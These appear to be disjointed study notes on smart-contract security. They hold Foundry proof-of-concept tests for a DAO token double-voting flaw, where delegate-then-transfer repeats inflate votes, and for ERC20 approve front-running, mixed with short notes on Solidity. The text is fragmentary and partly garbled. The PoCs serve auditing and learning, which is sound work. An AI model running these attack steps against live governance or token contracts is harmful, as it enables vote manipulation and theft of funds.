token balance should not account for voting power, can use ERC20Votes.sol
for better checkpoints implementations, ERC20Votes.sol
extension keeps a history (checkpoints) of each account's vote power, the downside is that it
requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked, and to keep in mind is that voting is usually handled by governance contracts.
ps: also it save more gas, can vote without spending gas, because the delegatee is using voting on their behalf
ERC20Votes.sol
source : https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Votes.sol
function _delegate uint256 _addrBalance = balanceOf(_addr);
getVotes
function doesn't check the availability of checkpoints. This means that vote powers can still remain transferable, even after member has delegated to another user and transferred tokens to other members
- Hacker control
alice
account to delegates vote power to himself, so he can create a proposal or vote on a proposal - After delegation completed, transfer 1000 tokens to other dao member (bob, Carol), repeat the same process
- Control bob account to delegates more vote power to hacker himself, repeat the same process for Carol
- Finish all the delegations & transfer tokens to hacker himself
- Now hacker has 3000 vTokens and also 1000 vTokens
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/hack/governance/DaoToken.sol";
contract exploitTest is Test {
DaoToken daoToken;
address public owner = address(0);
address public hacker =address(1337);
address public alice= address(1);
address public bob = address(2);
address public carol = address(3);
function setUp() public {
vm.startPrank(owner);
daoToken = new DaoToken();
daoToken.mint(alice, 1000);
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(alice);
//hacker control alice account to delegates vote power to himself, so he can create a proposal or vote on a proposal
daoToken.delegate(hacker);
daoToken.getVotes(alice);
//transfer 1000 tokens to other dao member (bob, Carol)
daoToken.transfer(bob, 1000);
vm.startPrank(bob);
// control bob account to delegates more vote power to hacker himself, repeat the same process for Carol
daoToken.delegate(hacker);
daoToken.transfer(carol, 1000);
vm.startPrank(carol);
daoToken.delegate(hacker);
// now hacker should has 3000 votes, hacker also wanna transfer 1000 tokens to himself
daoToken.transfer(hacker, 1000);
vm.stopPrank();
uint hacker_vote = daoToken.getVotes(hacker);
console.log("Vote Count of Hacker before attack: %s ", hacker_vote);
uint hacker_balance= daoToken.balanceOf(hacker);
console.log("Hacker's daoToken after the attack: %s: ", hacker_balance);
assertEq(hacker_vote , 3000);
assertEq(hacker_balance, 1000);
}
}
these private states indicate that these variables should not be allowd to be modified or also be inherited the corresponding contract
The methodology remains the same, ensuring that they are not visible in derived contracts
The _msgSender() is a virtual function that can be overridden, so for a basic smart contract, it doesn't do much, it just returns msg.sender
But for a GSN-like contract, _msgSender is overridden and_msgSender would return the sender via payload(maybe msg.data) and not the actual caller
The methodology remains the same, ensuring that they are not visible in derived contracts
Q: What is the potential risk of directly overwriting the old value of _allowance? (Write a PoC to validate it)
Poc Action : Allowance front-run attack
- Front run ERC20 approve
- Owner approves 1000
- Spender spend 1000
- Owner updates approval to 100
- Spender spend 100
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test, console2} from "forge-std/Test.sol";
import {Token} from "../src/Token.sol";
contract ERC20ApproveTest is Test {
// Front run ERC20 approve
// 1. Owner approves 1000
// 2. Spender spend 1000
// 3. Owner updates approval to 100
// 4. Spender spend 100
Token private token;
address private constant owner = address(11);
address private constant spender = address(12);
function setUp() public {
token = new Token("token", "TOKEN", 18);
token.mint(owner, 2000);
}
function test() public {
// Owner approves 1000
vm.prank(owner);
token.approve(spender, 1000);
// Spender spends 1000
vm.prank(spender);
token.transferFrom(owner, spender, 1000);
// Owner updates approval to 100
vm.prank(owner);
token.approve(spender, 100);
// Spender spends 100
vm.prank(spender);
token.transferFrom(owner, spender, 100);
console2.log("spender balance", token.balanceOf(spender));
}
}
ERC-20 and ERC-1155, on the other hand, do not have this restriction by default, and the decision to support or disallow transfers to the zero address is left to the developers implementing those standards
Solidity Assembly allowing developers to write lower-level code directly